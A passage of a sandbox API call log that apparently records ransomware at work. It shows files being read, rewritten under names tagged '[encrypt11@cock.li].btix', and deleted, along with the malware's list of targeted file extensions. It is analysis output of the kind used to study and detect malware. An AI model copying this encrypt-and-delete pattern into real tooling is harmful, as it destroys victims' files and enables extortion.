0x75e90000 [0040.849] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0040.849] Wow64DisableWow64FsRedirection (in: OldValue=0x37aff50 | out: OldValue=0x37aff50*=0x0) returned 1 [0040.849] lstrlenW (lpString="kernel32.dll") returned 12 [0040.849] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7c8 | out: hHeap=0x690000) returned 1 [0040.849] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.850] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7f0 | out: hHeap=0x690000) returned 1 [0040.850] Sleep (dwMilliseconds=0x64) [0041.200] lstrcmpiW (lpString1=".log", lpString2=".btix") returned 1 [0041.200] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0041.200] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0041.742] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=6004) returned 1 [0041.742] CloseHandle (hObject=0x328) returned 1 [0041.743] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0041.743] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.743] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0041.743] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0041.743] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0041.743] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0041.743] GetLastError () returned 0x0 [0041.743] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1774, lpOverlapped=0x0) returned 1 [0041.878] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1780, lpOverlapped=0x0) returned 1 [0041.879] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0041.879] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x114, lpOverlapped=0x0) returned 1 [0041.879] SetEndOfFile (hFile=0x32c) returned 1 [0041.879] CloseHandle (hObject=0x32c) returned 1 [0041.880] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0041.880] SetEndOfFile (hFile=0x328) returned 1 [0041.880] CloseHandle (hObject=0x328) returned 1 [0041.881] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0041.881] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0041.881] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.881] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.881] lstrlenW (lpString=".doc") returned 4 [0041.881] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0041.881] lstrlenW (lpString=".docx") returned 5 [0041.881] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0041.881] lstrlenW (lpString=".pdf") returned 4 [0041.881] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0041.881] lstrlenW (lpString=".xls") returned 4 [0041.881] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0041.881] lstrlenW (lpString=".xlsx") returned 5 [0041.881] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0041.881] lstrlenW (lpString=".ppt") returned 4 [0041.881] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0041.881] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.881] lstrlenW (lpString=".zip") returned 4 [0041.881] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0041.881] lstrlenW (lpString=".rar") returned 4 [0041.881] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0041.881] lstrlenW (lpString=".bz2") returned 4 [0041.882] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0041.882] lstrlenW (lpString=".7z") returned 3 [0041.882] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0041.882] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.882] lstrlenW (lpString=".dbf") returned 4 [0041.882] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0041.882] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.882] lstrlenW (lpString=".1cd") returned 4 [0041.882] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0041.882] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.882] lstrlenW (lpString=".jpg") returned 4 [0041.882] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0041.882] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.882] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.882] lstrlenW (lpString=".doc") returned 4 [0041.882] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0041.882] lstrlenW (lpString=".docx") returned 5 [0041.882] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0041.882] lstrlenW (lpString=".pdf") returned 4 [0041.882] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0041.882] lstrlenW (lpString=".xls") returned 4 [0041.882] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0041.882] lstrlenW (lpString=".xlsx") returned 5 [0041.882] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0041.882] lstrlenW (lpString=".ppt") returned 4 [0041.882] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0041.882] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.882] lstrlenW (lpString=".zip") returned 4 [0041.882] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0041.882] lstrlenW (lpString=".rar") returned 4 [0041.882] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0041.882] lstrlenW (lpString=".bz2") returned 4 [0041.882] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0041.882] lstrlenW (lpString=".7z") returned 3 [0041.882] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0041.883] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.883] lstrlenW (lpString=".dbf") returned 4 [0041.883] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0041.883] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.883] lstrlenW (lpString=".1cd") returned 4 [0041.883] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0041.883] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0041.883] lstrlenW (lpString=".jpg") returned 4 [0041.883] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0041.883] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0041.883] lstrlenW (lpString="LocalizedData.xml") returned 17 [0041.883] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0041.899] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=80970) returned 1 [0041.899] CloseHandle (hObject=0x30c) returned 1 [0041.899] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0041.899] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.900] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.900] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0041.901] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0041.901] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0041.901] GetLastError () returned 0x0 [0041.902] ReadFile (in: hFile=0x31c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x13c4a, lpOverlapped=0x0) returned 1 [0041.989] WriteFile (in: hFile=0x324, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13c50, lpOverlapped=0x0) returned 1 [0041.990] ReadFile (in: hFile=0x31c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0041.990] WriteFile (in: hFile=0x324, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xf6, lpOverlapped=0x0) returned 1 [0041.990] SetEndOfFile (hFile=0x324) returned 1 [0041.991] CloseHandle (hObject=0x324) returned 1 [0041.992] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0041.992] SetEndOfFile (hFile=0x31c) returned 1 [0041.993] CloseHandle (hObject=0x31c) returned 1 [0041.993] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.994] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0041.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.994] lstrlenW (lpString=".doc") returned 4 [0041.994] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.994] lstrlenW (lpString=".docx") returned 5 [0041.994] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0041.994] lstrlenW (lpString=".pdf") returned 4 [0041.994] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.994] lstrlenW (lpString=".xls") returned 4 [0041.994] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.994] lstrlenW (lpString=".xlsx") returned 5 [0041.994] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0041.994] lstrlenW (lpString=".ppt") returned 4 [0041.994] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.994] lstrlenW (lpString=".zip") returned 4 [0041.994] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.994] lstrlenW (lpString=".rar") returned 4 [0041.994] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.994] lstrlenW (lpString=".bz2") returned 4 [0041.994] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.994] lstrlenW (lpString=".7z") returned 3 [0041.995] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.995] lstrlenW (lpString=".dbf") returned 4 [0041.995] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.995] lstrlenW (lpString=".1cd") returned 4 [0041.995] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.995] lstrlenW (lpString=".jpg") returned 4 [0041.995] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.995] lstrlenW (lpString=".doc") returned 4 [0041.995] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.995] lstrlenW (lpString=".docx") returned 5 [0041.995] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0041.995] lstrlenW (lpString=".pdf") returned 4 [0041.995] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.995] lstrlenW (lpString=".xls") returned 4 [0041.995] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.995] lstrlenW (lpString=".xlsx") returned 5 [0041.995] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0041.995] lstrlenW (lpString=".ppt") returned 4 [0041.995] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.995] lstrlenW (lpString=".zip") returned 4 [0041.995] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.995] lstrlenW (lpString=".rar") returned 4 [0041.995] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.995] lstrlenW (lpString=".bz2") returned 4 [0041.995] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.995] lstrlenW (lpString=".7z") returned 3 [0041.995] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.995] lstrlenW (lpString=".dbf") returned 4 [0041.996] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.996] lstrlenW (lpString=".1cd") returned 4 [0041.996] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0041.996] lstrlenW (lpString=".jpg") returned 4 [0041.996] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.996] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0041.996] lstrlenW (lpString="LocalizedData.xml") returned 17 [0041.996] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.996] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=77748) returned 1 [0041.996] CloseHandle (hObject=0x31c) returned 1 [0041.996] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0041.996] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.996] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.996] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0041.996] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0041.997] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0041.997] GetLastError () returned 0x0 [0041.997] ReadFile (in: hFile=0x31c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x12fb4, lpOverlapped=0x0) returned 1 [0042.021] WriteFile (in: hFile=0x324, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x12fc0, lpOverlapped=0x0) returned 1 [0042.022] ReadFile (in: hFile=0x31c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0042.023] WriteFile (in: hFile=0x324, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xf6, lpOverlapped=0x0) returned 1 [0042.023] SetEndOfFile (hFile=0x324) returned 1 [0042.023] CloseHandle (hObject=0x324) returned 1 [0042.024] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0042.025] SetEndOfFile (hFile=0x31c) returned 1 [0042.026] CloseHandle (hObject=0x31c) returned 1 [0042.026] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.026] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0042.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.026] lstrlenW (lpString=".doc") returned 4 [0042.026] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString=".docx") returned 5 [0042.026] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.026] lstrlenW (lpString=".pdf") returned 4 [0042.026] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString=".xls") returned 4 [0042.026] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString=".xlsx") returned 5 [0042.026] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.026] lstrlenW (lpString=".ppt") returned 4 [0042.026] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.026] lstrlenW (lpString=".zip") returned 4 [0042.026] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.026] lstrlenW (lpString=".rar") returned 4 [0042.027] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString=".bz2") returned 4 [0042.027] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString=".7z") returned 3 [0042.027] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.027] lstrlenW (lpString=".dbf") returned 4 [0042.027] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.027] lstrlenW (lpString=".1cd") returned 4 [0042.027] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.027] lstrlenW (lpString=".jpg") returned 4 [0042.027] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.027] lstrlenW (lpString=".doc") returned 4 [0042.027] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString=".docx") returned 5 [0042.027] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.027] lstrlenW (lpString=".pdf") returned 4 [0042.027] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString=".xls") returned 4 [0042.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString=".xlsx") returned 5 [0042.027] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.027] lstrlenW (lpString=".ppt") returned 4 [0042.027] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.027] lstrlenW (lpString=".zip") returned 4 [0042.027] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.027] lstrlenW (lpString=".rar") returned 4 [0042.027] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString=".bz2") returned 4 [0042.027] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString=".7z") returned 3 [0042.027] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.028] lstrlenW (lpString=".dbf") returned 4 [0042.028] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.028] lstrlenW (lpString=".1cd") returned 4 [0042.028] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0042.028] lstrlenW (lpString=".jpg") returned 4 [0042.028] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.028] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0042.028] lstrlenW (lpString="eula.rtf") returned 8 [0042.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0042.028] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=3419) returned 1 [0042.028] CloseHandle (hObject=0x31c) returned 1 [0042.028] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0042.028] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0042.028] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0042.029] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0042.029] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: 